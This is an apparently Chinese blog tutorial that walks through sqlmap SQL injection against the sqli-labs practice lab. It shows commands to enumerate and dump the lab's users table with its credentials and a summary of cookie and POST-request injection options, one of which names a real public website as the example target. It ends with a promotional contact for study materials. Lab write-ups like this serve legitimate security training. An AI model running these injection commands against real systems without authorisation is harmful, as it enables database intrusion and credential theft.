渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇_sqlmap靶场
id=1” 默认使用level1检测全部数据库类型 sqlmap -u “id=1”--dbms mysql --level 3 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302sqlmap --follow-redirect -u当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302, 当注入错误的时候,先报错再跳转的时候,不需要跟随302。目的就是:要追踪
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
–proxy=http://127.0.0.1:8080 -D security --tables
发现SQLMAP不仅给出了有哪些表,还给出了目标服务器的web信息:
获取数据表中的字段名:
使用的参数为 -D 数据库名 -T 表名 --columns
这里我们使用security中的users表:
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
–proxy=http://127.0.0.1:8080 -D security -T users --columns
SQLMAP不仅给出了字段名,还给出了字段类型:
Database: security
Table: users
[3 columns]
±---------±------------+
| Column | Type |
±---------±------------+
| password | varchar(20) |
| id | int(3) |
| username | varchar(20) |
±---------±------------+
获取数据表中的字段数据
使用的参数为 -D 数据库名 -T 表名 -C “字段名1,字段名2…” --dump
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
–proxy=http://127.0.0.1:8080
-D security -T users -C “id,username,password” --dump
Database: security
Table: users
[16 entries]
±----±-----------±---------+
| id | password | username |
±----±-----------±---------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | 123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
以上只是SQLMAP最为基本的用法,下面我们来总结并拓展SQLMAP的更多用法:
渗透测试—手把手教你sqlmap数据库注入测试(2)—用法汇总篇—用法汇总篇")
SQLMAP用法的总结与拓展:
基本的检测方式:
| 基本格式: | sqlmap -u “http://www.vuln.cn/post.php?id=1” 默认使用level1检测全部数据库类型 sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql --level 3 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面) |
| 跟随302跳转: | sqlmap --follow-redirect -u <target_url> 当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302, 当注入错误的时候,先报错再跳转的时候,不需要跟随302。 目的就是:要追踪到错误信息。 |
| cookie****注入: | 当程序有防get注入的时候,可以使用cookie注入 sqlmap -u “http://www.baidu.com/shownews.asp” --cookie “id=11” --level 2(只有level达到2才会检测cookie) |
| 从post数据包中注入: | 可以使用burpsuite来抓取post包 sqlmap -r “c:\tools\request.txt” -p “username” --dbms mysql 需指定username参数 -r参数指定请求包所在的路径(就是POST请求包) |

拓展:SQLMAP的-u参数与-r参数
-u参数后面接的是URL,一般用于扫描GET请求
-r参数后面接的是保存有HTTP请求的txt文件,用于扫描POST请求:
例如sqli-labs-master靶场的less-11,这一关就是使用的POST请求,注入点在POST表单中,不能使用-r URL的形式进行扫描,需要我们将整个POST请求复制下来并保存在一个txt文件中:(这个txt文件最好放在与sqlmap.py同级目录中,方便指定路径)


在终端中使用python sqlmap.py -r 1.txt --dbs查询有哪些数据库
PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master> python sqlmap.py -r 1.txt --dbs
H
___ [.]__ ___ ___ {1.7.5#stable}
|_ -| . [,] | .'| . |
|| [']|||__,| |
||V… || https://sqlmap.org
获取数据库基本信息:
| 查询有哪些数据库 | -r XX.txt --dbs (-r指定POST请求所在的路径) |
| 查询security数据库中有哪些表 | -r XX.txt -D security --tables |
| 查询security数据库中users表有哪些字段 security.users | -r XX.txt -D security -T users --columns |
| dump出字段username与password中的数据 | -r XX.txt -D security -T users -C “username,password” --dump |
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。





既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新*
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-DkuLoazN-1712637406702)]
更多推荐




所有评论(0)